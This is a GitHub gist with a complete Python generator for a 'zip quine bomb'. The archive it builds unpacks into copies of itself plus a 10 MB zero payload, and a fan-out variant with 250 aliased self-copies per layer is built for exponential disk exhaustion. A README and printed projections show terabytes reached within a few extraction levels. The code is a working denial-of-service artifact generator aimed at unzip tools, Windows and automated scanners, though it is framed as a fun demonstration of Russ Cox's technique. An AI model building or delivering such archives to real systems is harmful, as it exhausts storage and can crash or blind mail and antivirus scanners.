Last active
September 3, 2026 11:32
-
-
Save LuxXx/fc8d41c3dc2f35e83be4732191d6b3d9 to your computer and use it in GitHub Desktop.
ZIP Quine Bomb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """ | |
| ======================================================================== | |
| ZIP QUINE BOMB — a zip that unpacks into copies of *itself* | |
| ======================================================================== | |
| Run this file: | |
| python3 source_code.py | |
| and it writes `zipbomb.zip`. Open that zip and you get: | |
| * README.md (credits + how it works) | |
| * source_code.py (this exact file — the code that built the zip) | |
| * copy_001.zip ... (NUMBER_OF_ZIP_FILES byte-identical copies of the | |
| whole zip) | |
| Each `copy_XXX.zip` is *the archive itself*, byte for byte. So unpacking a | |
| copy gives you the readme, the source, and another N copies... forever. | |
| It is a quine (it contains itself) and a bomb (it fans out N-ways at every | |
| level of unpacking), and the whole thing is well under 1 MB. | |
| -------------------------- HOW IT WORKS ------------------------------ | |
| A zip stores each file as a DEFLATE stream. DEFLATE is a tiny virtual | |
| machine with two moves: emit literal bytes, or "copy N bytes from D bytes | |
| back". The trick (Russ Cox, "Zip Files All The Way Down") is to hand-write | |
| a DEFLATE program whose *output is the program itself*, wrapped in just | |
| enough zip scaffolding (local headers, central directory) that the output | |
| is a valid zip containing that very stream. | |
| Two more pieces make it a bomb: | |
| * The stored CRC-32 of the self-copy must equal the CRC of the whole | |
| file — but that CRC lives *inside* the file it is checksumming. CRC-32 | |
| is affine over GF(2), so a small linear solve finds the fixed-point | |
| value that makes the file check out (`solve_rank1`). | |
| * To get N copies for free we add N central-directory entries that all | |
| alias the single self-referential stream under different names. One | |
| stream, N files. (Info-ZIP's `unzip` prints a harmless "mismatching | |
| local filename" note for the aliased entries; `zipfile`, macOS and | |
| 7-Zip are silent. Extraction is always correct.) | |
| The DEFLATE/zip construction here is a Python port of Ruben Van Mello's | |
| generator (master's thesis, Ghent University). The self-reproduction idea | |
| is Russ Cox's. The mischief is mine. | |
| — @luxdav | |
| ======================================================================== | |
| """ | |
| import struct | |
| import zlib | |
| import sys | |
| # ============================ KNOBS ===================================== | |
| PAYLOAD_MB = 10 # compressible 'kaboom.bin' dropped every layer; 0 disables | |
| FANOUT_COPIES = 250 # self-copies in the fan-out build | |
| FANOUT_BASENAME = "zipquinebomb" # its copies are zipquinebomb_001.zip, _002.zip, ... | |
| OUTPUT_COMPAT = "zipquinebomb.zip" # 1 copy/layer -- opens in EVERY extractor incl. Finder | |
| OUTPUT_FANOUT = "zipquinebomb_fanout.zip" # many copies -- explodes, but `unzip`/Windows only | |
| # | |
| # Why two files? A quine can carry only ONE real self-copy cheaply. macOS Archive | |
| # Utility (and libarchive/bsdtar) extract by walking real local headers, so they | |
| # only ever see that one copy. To get FANOUT_COPIES copies we add extra central- | |
| # directory entries that alias the single stream -- which `unzip` and Windows honor | |
| # but streaming extractors reject. So: a universal 1-copy quine, plus the fan-out. | |
| # | |
| # The payload's *compressed* bytes live inside the (necessarily tiny) quine, so | |
| # PAYLOAD_MB is capped near ~20 by DEFLATE's 32 KB window. | |
| # =================== DEFLATE static-Huffman tables ====================== | |
| # length base -> (symbol, extra bits) and distance base -> (symbol, extra bits) | |
| LENGTH_MAP = { | |
| 3:(257,0),4:(258,0),5:(259,0),6:(260,0),7:(261,0),8:(262,0),9:(263,0),10:(264,0), | |
| 11:(265,1),13:(266,1),15:(267,1),17:(268,1),19:(269,2),23:(270,2),27:(271,2),31:(272,2), | |
| 35:(273,3),43:(274,3),51:(275,3),59:(276,3),67:(277,4),83:(278,4),99:(279,4),115:(280,4), | |
| 131:(281,5),163:(282,5),195:(283,5),227:(284,5),258:(285,0)} | |
| DIST_MAP = { | |
| 1:(0,0),2:(1,0),3:(2,0),4:(3,0),5:(4,1),7:(5,1),9:(6,2),13:(7,2),17:(8,3),25:(9,3), | |
| 33:(10,4),49:(11,4),65:(12,5),97:(13,5),129:(14,6),193:(15,6),257:(16,7),385:(17,7), | |
| 513:(18,8),769:(19,8),1025:(20,9),1537:(21,9),2049:(22,10),3073:(23,10),4097:(24,11), | |
| 6145:(25,11),8193:(26,12),12289:(27,12),16385:(28,13),24577:(29,13)} | |
| _LEN_KEYS = sorted(LENGTH_MAP) | |
| _DIST_KEYS = sorted(DIST_MAP) | |
| def _find_last(keys, v): | |
| r = keys[0] | |
| for k in keys: | |
| if v >= k: r = k | |
| else: break | |
| return r | |
| def rev_byte(b): | |
| b &= 0xff; r = 0 | |
| for _ in range(8): | |
| r = (r << 1) | (b & 1); b >>= 1 | |
| return r | |
| def rev_int(x): | |
| x &= 0xffffffff; r = 0 | |
| for _ in range(32): | |
| r = (r << 1) | (x & 1); x >>= 1 | |
| return r | |
| def le16(x): return struct.pack('<H', x & 0xffff) | |
| def le32(x): return struct.pack('<I', x & 0xffffffff) | |
| # ===================== DEFLATE bit-level encoder ======================== | |
| class Huffman: | |
| """Emits raw DEFLATE. State (partial byte + bit count) carries across | |
| blocks so a compressed block can 'borrow' the leading zero bits of the | |
| stored block that follows it — that is what keeps every repeat gadget | |
| exactly 5 bytes and byte-aligned.""" | |
| def __init__(self): | |
| self.byte = 0 | |
| self.bits = 0 | |
| def _flush(self): | |
| out = [] | |
| full = self.bits // 8 | |
| for i in range(1, full + 1): | |
| out.append(rev_byte((self.byte >> (self.bits - 8 * i)) & 0xff)) | |
| self.bits -= full * 8 | |
| self.byte = (self.byte & ((1 << self.bits) - 1)) if self.bits > 0 else 0 | |
| return out | |
| def stored_block(self, literal, is_last, zero_literal=False): | |
| # 3-bit header (BFINAL, BTYPE=00), pad to byte, LEN, ~LEN, data | |
| self.byte = (self.byte << 1) ^ (1 if is_last else 0) | |
| self.byte = self.byte << 2 | |
| self.bits += 3 | |
| if self.bits % 8 != 0: | |
| pad = 8 - self.bits % 8 | |
| self.byte <<= pad; self.bits += pad | |
| n = len(literal) | |
| out = bytes(self._flush()) | |
| self.byte = 0; self.bits = 0 | |
| hdr = out + le16(n) + le16(~n & 0xffff) | |
| return hdr if zero_literal else hdr + bytes(literal) | |
| def repeat_block(self, tokens, is_last): | |
| # a BTYPE=01 (fixed Huffman) block of length/distance back-references | |
| enc = [] | |
| self.byte = (self.byte << 1) ^ (1 if is_last else 0) | |
| self.byte = (self.byte << 2) ^ 2 | |
| self.bits += 3 | |
| for (dist, length) in tokens: | |
| base = _find_last(_LEN_KEYS, length) | |
| code, extra = LENGTH_MAP[base] | |
| if 256 <= code <= 279: | |
| self.byte = (self.byte << 7) ^ (((code << 1) & 0xff) >> 1) | |
| if extra > 0: | |
| self.byte = (self.byte << extra) ^ rev_byte(((length - base) << (8 - extra)) & 0xff) | |
| self.bits += 7 + extra | |
| else: | |
| self.byte = (self.byte << 8) ^ ((code - 88) & 0xff) | |
| if extra > 0: | |
| self.byte = (self.byte << extra) ^ rev_byte(((length - base) << (8 - extra)) & 0xff) | |
| self.bits += 8 + extra | |
| enc += self._flush() | |
| base = _find_last(_DIST_KEYS, dist) | |
| code, extra = DIST_MAP[base] | |
| self.byte = (self.byte << 5) ^ (((code << 3) & 0xff) >> 3) | |
| if extra > 0: | |
| ev = rev_int(dist - base) & 0xffffffff | |
| self.byte = (self.byte << extra) ^ (ev >> (32 - extra)) | |
| self.bits += 5 + extra | |
| enc += self._flush() | |
| self.byte = self.byte << 7 # end-of-block symbol 256 = 7 zero bits | |
| self.bits += 7 | |
| enc += self._flush() | |
| return bytes(enc) | |
| def encode(self, tokens): | |
| out = b'' | |
| lits = []; reps = [] | |
| for t in tokens: | |
| if t[0] == 'L': | |
| if reps: | |
| out += self.repeat_block(reps, False); reps = [] | |
| lits.append(t[1]) | |
| else: | |
| if lits: | |
| out += self.stored_block(lits, False); lits = [] | |
| reps.append((t[1], t[2])) | |
| if reps: | |
| out += self.repeat_block(reps, True) | |
| elif lits: | |
| out += self.stored_block(lits, True) | |
| if self.bits != 0: | |
| self.byte <<= (8 - self.bits); self.bits += (8 - self.bits) | |
| out += bytes(self._flush()) | |
| return out | |
| def lit_hdr(size, is_last=False): | |
| """The 5 header bytes of a stored (literal) block of `size` bytes.""" | |
| first = 128 if is_last else 0 | |
| return bytes([first]) + le16(size) + le16(~size & 0xffff) | |
| def _reps_for(distance, size): | |
| toks = [(distance, 258) for _ in range(size // 258)] | |
| toks.append((distance, size % 258)) | |
| return toks | |
| def five_byte_split(distance, length): | |
| """Two repeat tokens (same distance) whose lengths sum to `length` and which | |
| encode to exactly 5 bytes (40 bits) on a byte boundary -- or None. Used to | |
| close the loop on an aligned unit. Tested with a fresh (aligned) coder, which | |
| matches the shared coder because the loop reaches this point byte-aligned.""" | |
| for i in range(3, length - 2): | |
| b = Huffman().repeat_block([(distance, i), (distance, length - i)], False) | |
| if len(b) == 5: | |
| return [(distance, i), (distance, length - i)] | |
| return None | |
| def _split_reps(total): | |
| """Repeat lengths (all distance=total) that sum to EXACTLY total, each >= 3.""" | |
| n = total // 258 | |
| r = total - n * 258 | |
| toks = [(total, 258)] * n | |
| if r == 0: | |
| pass | |
| elif r < 3: | |
| toks = [(total, 258)] * (n - 1) + [(total, 129), (total, 129 + r)] | |
| else: | |
| toks += [(total, r)] | |
| return toks | |
| def calc_last_repeat(footer_size): | |
| """The closing gadget reproduces the trailing [last][footer] region, whose | |
| size is footer_size + len(last) -- and len(last) depends on that size, so we | |
| iterate to a fixed point. | |
| The repeat block is emitted NON-final and the terminating BFINAL is the very | |
| last (empty) stored block, so the DEFLATE stream ends exactly at the declared | |
| compressed size with no trailing bytes -- which strict streaming extractors | |
| (bsdtar/libarchive, macOS Archive Utility) require.""" | |
| last = b'' | |
| for _ in range(16): | |
| total = footer_size + len(last) | |
| if total > 32768: | |
| raise ValueError("footer too large for one back-reference (%d > 32768); " | |
| "lower NUMBER_OF_ZIP_FILES" % total) | |
| h = Huffman() | |
| b = h.repeat_block(_split_reps(total), False) # NON-final repeat | |
| b += h.stored_block([], False, zero_literal=True) # absorbs the repeat's leftover bits | |
| b += h.stored_block([], True, zero_literal=True) # BFINAL terminates here | |
| if len(b) == len(last): | |
| return b | |
| last = b | |
| raise RuntimeError("calc_last_repeat did not converge") | |
| class QuineSizeError(Exception): | |
| """Raised when the prefix size makes the closing 5-byte gadget impossible; | |
| the caller retries with a different amount of local-header padding.""" | |
| def generate_quine(zip_prefix, footer): | |
| """Return a DEFLATE stream D such that inflate(D) == zip_prefix + D + footer. | |
| Method from Russ Cox; port of Ruben Van Mello's construction.""" | |
| q = b'' | |
| h = Huffman() | |
| first = list(zip_prefix) | |
| first += list(lit_hdr(len(first) + 5)) | |
| bta = h.stored_block(first, False) # Lp+1 : literal-emit P and this header | |
| q += bta | |
| p1 = len(first) | |
| bta = h.repeat_block(_reps_for(p1, p1), False) # Rp+1 : reproduce those p+1 bytes | |
| q += bta | |
| # Lx, L1, Lx+3, Rx+3 layers. Each layer shrinks x; keep going (emitting the | |
| # natural, possibly bit-unaligned repeat) until x is small enough that Rx+3 | |
| # can be a single byte-aligned 5-byte unit -- that aligned unit is what the | |
| # closing R4 gadget needs. | |
| for _guard in range(24): | |
| lx3 = b'' | |
| bta = h.stored_block(list(bta), False) | |
| lx3 += bta[5:]; q += bta | |
| lx = bta[:5] | |
| bta = h.stored_block(list(lx), False) | |
| lx3 += bta; q += bta | |
| lx3 += lit_hdr(len(lx3) + 5) | |
| bta = h.stored_block(list(lx3), False) | |
| q += bta | |
| x = bta[5:] | |
| reps = _reps_for(len(x), len(x)) | |
| split = five_byte_split(len(x), len(x)) if len(reps) == 1 else None | |
| if split is not None: | |
| bta = h.repeat_block(split, False) # aligned 5-byte unit -> exit | |
| assert len(bta) == 5 | |
| q += bta | |
| break | |
| bta = h.repeat_block(reps, False) # natural repeat -> keep shrinking | |
| q += bta | |
| else: | |
| raise QuineSizeError() | |
| lz3 = b'' # closing Lz, L1, Lz+3 | |
| bta = h.stored_block(list(bta), False) | |
| lz3 += bta[5:]; q += bta | |
| lx = bta[:5] | |
| bta = h.stored_block(list(lx), False) | |
| lz3 += bta; q += bta | |
| lz3 += lit_hdr(len(lz3) + 5) | |
| q += h.stored_block(list(lz3), False) | |
| R4 = bytes([0x42, 0x88, 0x21, 0xc4, 0x00]) # constant 5-byte "copy 4 bytes" gadget | |
| q += R4 # Rz+3 | |
| q += h.stored_block(list(R4) + list(lit_hdr(20)) + list(R4) + list(lit_hdr(20)), False) # L4 | |
| q += R4 # R4 | |
| last = calc_last_repeat(len(footer)) | |
| q += h.stored_block(list(R4) + list(lit_hdr(0)) + list(lit_hdr(0)) + | |
| list(lit_hdr(len(last) + len(footer))), False) # L4 | |
| q += R4 # R4 | |
| q += lit_hdr(0) # L0 | |
| q += lit_hdr(0) # L0 | |
| q += lit_hdr(len(last) + len(footer)) + last + footer # Ls+y+2 payload | |
| q += last # Rs+y+2 L0 L0 | |
| return q | |
| # ===================== CRC-32 fixed-point solver ======================== | |
| # CRC-32 is affine over GF(2). A self-referential file stores a checksum that | |
| # is part of the very bytes it checksums; this solves for the value X such | |
| # that CRC32(file_with_X_written_at_those_offsets) == X. | |
| _POLY = 0x104C11DB7 | |
| def _probe(p): return p.bit_length() - 1 if p else 0 | |
| def _mulraw(a, b): | |
| r = 0; i = 0 | |
| while b: | |
| if b & 1: r ^= a << i | |
| b >>= 1; i += 1 | |
| return r | |
| def _polydivmod(dividend, divisor): | |
| pb = _probe(divisor) | |
| quot = 0; rem = dividend | |
| for i in range(63 - pb, -1, -1): | |
| if rem & (1 << (pb + i)): | |
| quot |= (1 << i); rem ^= divisor << i | |
| return quot, rem | |
| def _mul(a, b, mod=_POLY): return _polydivmod(_mulraw(a, b), mod)[1] | |
| def _xgcd(p1, p2): | |
| if _probe(p1) < _probe(p2): | |
| g, f, d = _xgcd(p2, p1); return f, g, d | |
| if p2 == 0: return p1, 0, p1 | |
| q, r = _polydivmod(p1, p2) | |
| c1p, c2p, d = _xgcd(p2, r) | |
| return c2p, c1p ^ _mulraw(c2p, q), d | |
| def _minv(p, mod=_POLY): | |
| a, b, g = _xgcd(p, mod) | |
| return 0 if g != 1 else _polydivmod(a, mod)[1] | |
| def _divide(a, b, mod=_POLY): return _mul(a, _minv(b, mod), mod) | |
| def solve_rank1(data, offsets): | |
| """data: bytearray with placeholder bytes at each offset (they are ignored | |
| by the math). Solve so CRC32(data)==X, write X at every offset, return X.""" | |
| offs = {o: 0 for o in offsets} | |
| n = 1 | |
| M = [[0, 0xffffffff]] | |
| i = 0; L = len(data) | |
| while i < L: | |
| if i in offs: | |
| M[0][0] ^= 1 | |
| for j in range(n + 1): | |
| M[0][j] = _mul(M[0][j], 0x100000000) | |
| i += 4; continue | |
| byte = data[i] | |
| for j in range(8): | |
| if byte & (1 << j): M[0][n] ^= 0x80000000 | |
| M[0][n] = _mul(M[0][n], 2) | |
| M[0][0] = _mul(M[0][0], 0x100) | |
| i += 1 | |
| M[0][0] ^= 1 | |
| M[0][n] ^= 0xffffffff | |
| res = _divide(M[0][n], M[0][0]) | |
| impl = 0 | |
| for bit in range(32): | |
| if res & (1 << bit): impl |= (1 << (31 - bit)) | |
| X = bytes([impl & 0xff, (impl >> 8) & 0xff, (impl >> 16) & 0xff, (impl >> 24) & 0xff]) | |
| for o in offsets: | |
| data[o:o + 4] = X | |
| return X | |
| # ========================= ZIP assembly ================================= | |
| SENT = b'\xde\xad\xbe\xef' # placeholder standing in for the self CRC | |
| DOS_TIME = le16(0) | |
| DOS_DATE = le16(0x21) # 1980-01-01, fixed so the build is reproducible | |
| def raw_deflate(data): | |
| c = zlib.compressobj(9, zlib.DEFLATED, -15) | |
| return c.compress(data) + c.flush() | |
| def lfh(name, comp, uncomp, crc4, extra=b''): | |
| n = name.encode() | |
| return (b'PK\x03\x04' + le16(20) + le16(0) + le16(8) + DOS_TIME + DOS_DATE + | |
| crc4 + le32(comp) + le32(uncomp) + le16(len(n)) + le16(len(extra)) + n + extra) | |
| def pad_extra(t): | |
| """A valid extra field of total length t (t == 0 or t >= 4), used only to | |
| nudge the prefix size until the quine's closing gadget lines up.""" | |
| if t == 0: | |
| return b'' | |
| if t < 4: | |
| t = 4 | |
| return le16(0xFACE) + le16(t - 4) + b'\x00' * (t - 4) # unknown id -> ignored by unzip | |
| def cd(name, comp, uncomp, crc4, offset): | |
| n = name.encode() | |
| return (b'PK\x01\x02' + le16(20) + le16(20) + le16(0) + le16(8) + DOS_TIME + DOS_DATE + | |
| crc4 + le32(comp) + le32(uncomp) + le16(len(n)) + le16(0) + le16(0) + | |
| le16(0) + le16(0) + le32(0) + le32(offset) + n) | |
| def eocd(count, cd_size, cd_off): | |
| return (b'PK\x05\x06' + le16(0) + le16(0) + le16(count) + le16(count) + | |
| le32(cd_size) + le32(cd_off) + le16(0)) | |
| def fanout_names(n): | |
| w = len(str(n)) | |
| return ["%s_%0*d.zip" % (FANOUT_BASENAME, w, i + 1) for i in range(n)] | |
| def build(bundle_files, names): | |
| """bundle_files: [(name, data), ...] stored normally. Plus one self-copy per | |
| entry in `names`, each extracting to a byte-identical copy of the whole | |
| archive. len(names) == 1 gives a universal quine; more uses central-directory | |
| aliasing (compact, but `unzip`/Windows only).""" | |
| n_copies = len(names) | |
| self_name = names[0] # the single real local header | |
| bundle = b''; bundle_cd = b''; off = 0 | |
| for name, data in bundle_files: | |
| comp = raw_deflate(data) | |
| c4 = le32(zlib.crc32(data) & 0xffffffff) | |
| h = lfh(name, len(comp), len(data), c4) | |
| bundle += h + comp | |
| bundle_cd += cd(name, len(comp), len(data), c4, off) | |
| off += len(h) + len(comp) | |
| def make_footer(comp, uncomp, cd_start): | |
| copies_cd = b''.join(cd(nm, comp, uncomp, SENT, off) for nm in names) | |
| cds = bundle_cd + copies_cd | |
| return cds + eocd(len(bundle_files) + n_copies, len(cds), cd_start) | |
| footer0 = make_footer(0, 0, 0) | |
| S_len = len(footer0) | |
| # Both prefix P and footer S are reproduced by single DEFLATE back-references, | |
| # so each must stay under the 32 KB window. | |
| if len(bundle) >= 32000: | |
| raise ValueError("prefix too big (%d B): lower PAYLOAD_MB or shrink source" % len(bundle)) | |
| if S_len >= 32000: | |
| raise ValueError("footer too big (%d B): lower NUMBER_OF_ZIP_FILES" % S_len) | |
| # The closing gadget only works for certain prefix sizes, so try padding the | |
| # quine's local-header extra field until generate_quine succeeds. | |
| for t in [0] + list(range(4, 260)): | |
| extra = pad_extra(t) | |
| lhq_len = len(lfh(self_name, 0, 0, SENT, extra)) | |
| P_len = len(bundle) + lhq_len | |
| try: | |
| quine = generate_quine(bundle + lfh(self_name, 0, 0, SENT, extra), footer0) | |
| except QuineSizeError: | |
| continue | |
| L = len(quine) | |
| total = P_len + L + S_len | |
| footer = make_footer(L, total, P_len + L) | |
| P = bundle + lfh(self_name, L, total, SENT, extra) | |
| quine = generate_quine(P, footer) # rebuild with real header fields | |
| if len(quine) != L: | |
| continue | |
| break | |
| else: | |
| raise RuntimeError("could not find a working prefix padding") | |
| full = bytearray(P + quine + footer) | |
| assert len(full) == total | |
| offsets = [] | |
| i = full.find(SENT) | |
| while i != -1: | |
| offsets.append(i); i = full.find(SENT, i + 1) | |
| assert len(offsets) == 2 * (1 + n_copies), "unexpected sentinel count %d" % len(offsets) | |
| X = solve_rank1(full, offsets) | |
| assert zlib.crc32(bytes(full)) & 0xffffffff == struct.unpack('<I', X)[0] | |
| return bytes(full) | |
| # =========================== README ===================================== | |
| README = b"""# zip quine bomb | |
| A zip file that unpacks into copies of itself. | |
| Open this archive and you'll find this `README.md`, the `source_code.py` | |
| that generated the whole thing, a big compressible `kaboom.bin`, and one or | |
| more copies of this very archive -- byte for byte. Every copy unpacks into | |
| all of this again, so you can keep going forever, each level dropping another | |
| `kaboom.bin`. | |
| It is a **quine** (it contains itself) and a **bomb** (it recurses without | |
| end), yet the file on disk is tiny. | |
| `source_code.py` builds two flavors: | |
| * `zipquinebomb.zip` -- one self-copy per layer. Opens in **every** extractor | |
| (macOS Finder / Archive Utility, `unzip`, Windows, bsdtar). Recurses forever. | |
| * `zipquinebomb_fanout.zip` -- hundreds of self-copies per layer, so a full | |
| unpack blows up exponentially. Use the `unzip` command or Windows; macOS | |
| Archive Utility only pulls the first copy (see "how" below). | |
| ## why the file itself stays small | |
| A quine reproduces itself *exactly*. If unpacking gave you a bigger file it | |
| wouldn't be a copy any more -- so the self-reference that lets a tiny file | |
| recurse forever is exactly what forces every layer to be the same size. On | |
| top of that, DEFLATE back-references only reach 32 KB, which pins any | |
| self-reproducing zip to well under 64 KB. So the zip can't grow. | |
| The explosion happens in what you *extract*, not in the files. With N copies | |
| per layer, unpacking to depth d gives N**d copies, each also dropping the | |
| payload. That is terabytes within a handful of layers -- an unbounded fractal | |
| of zips, from a seed you could paste into a tweet. | |
| ## how | |
| Each entry in a zip is a DEFLATE stream. DEFLATE is a two-instruction | |
| machine: "emit these literal bytes" and "copy N bytes from D bytes back". | |
| You can hand-write a DEFLATE program whose output is that same program, | |
| then dress it in just enough zip structure that the output is a valid zip | |
| containing the stream. The stored CRC-32 has to equal the checksum of the | |
| whole file while living inside it, which is a little linear-algebra | |
| fixed-point puzzle over GF(2). The fan-out's many copies are extra central- | |
| directory entries that all alias the single self-referential stream: `unzip` | |
| and Windows follow the central directory and unpack all of them, but macOS | |
| Archive Utility and libarchive stream by local headers and only see the one | |
| real copy -- which is exactly why the compatible build ships one copy. | |
| The self-reproducing-zip idea is Russ Cox's ("Zip Files All The Way | |
| Down"). The DEFLATE construction is a Python port of Ruben Van Mello's | |
| generator. `source_code.py` in this archive is the exact program that | |
| built it -- run it and it rebuilds this same file. | |
| ## credits | |
| Built for fun by **@luxdav** | |
| * twitter: https://twitter.com/luxdav | |
| * github: https://github.com/LuxXx | |
| Standing on the shoulders of Russ Cox and Ruben Van Mello. | |
| """ | |
| # ============================ main ====================================== | |
| def human(n): | |
| for unit in ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB']: | |
| if n < 1024 or unit == 'EB': | |
| return "%.1f %s" % (n, unit) | |
| n /= 1024.0 | |
| def main(): | |
| with open(__file__, 'rb') as f: | |
| own_source = f.read() # embed *this* file -> the zips are also program-quines | |
| bundle = [("README.md", README), ("source_code.py", own_source)] | |
| if PAYLOAD_MB > 0: | |
| bundle.append(("kaboom.bin", b'\x00' * (PAYLOAD_MB * 1024 * 1024))) | |
| # 1) universal quine: a single self-copy named like the archive -> opens everywhere | |
| z1 = build(bundle, [OUTPUT_COMPAT]) | |
| with open(OUTPUT_COMPAT, 'wb') as f: | |
| f.write(z1) | |
| print("wrote %s (%s)" % (OUTPUT_COMPAT, human(len(z1)))) | |
| print(" opens in EVERY extractor: Finder / Archive Utility, bsdtar, unzip, Windows") | |
| print(" unzip -> README.md, source_code.py, %s, and one identical copy" % | |
| ("kaboom.bin" if PAYLOAD_MB else "(no payload)")) | |
| print(" that copy opens to the same thing... forever (a true quine, never terminates)") | |
| print() | |
| # 2) fan-out bomb: many aliased self-copies -> explosive, but unzip/Windows only | |
| N = FANOUT_COPIES | |
| z2 = build(bundle, fanout_names(N)) | |
| with open(OUTPUT_FANOUT, 'wb') as f: | |
| f.write(z2) | |
| print("wrote %s (%s)" % (OUTPUT_FANOUT, human(len(z2)))) | |
| print(" `unzip`/Windows only (macOS Archive Utility only extracts the first copy)") | |
| print(" every unpack yields %d identical copies + %s" % | |
| (N, "kaboom.bin" if PAYLOAD_MB else "the files")) | |
| drop = (PAYLOAD_MB * 1024 * 1024) if PAYLOAD_MB else len(z2) | |
| print(" extraction explosion (unpack every zip down to depth d):") | |
| for d in range(1, 6): | |
| disk = drop * (N ** d - 1) // (N - 1) + len(z2) * (N ** d) | |
| print(" depth %d : %-15s copies ~%s on disk" % | |
| (d, format(N ** d, ','), human(disk))) | |
| print(" ... unbounded. Neither file ever grows; the extracted tree does.") | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment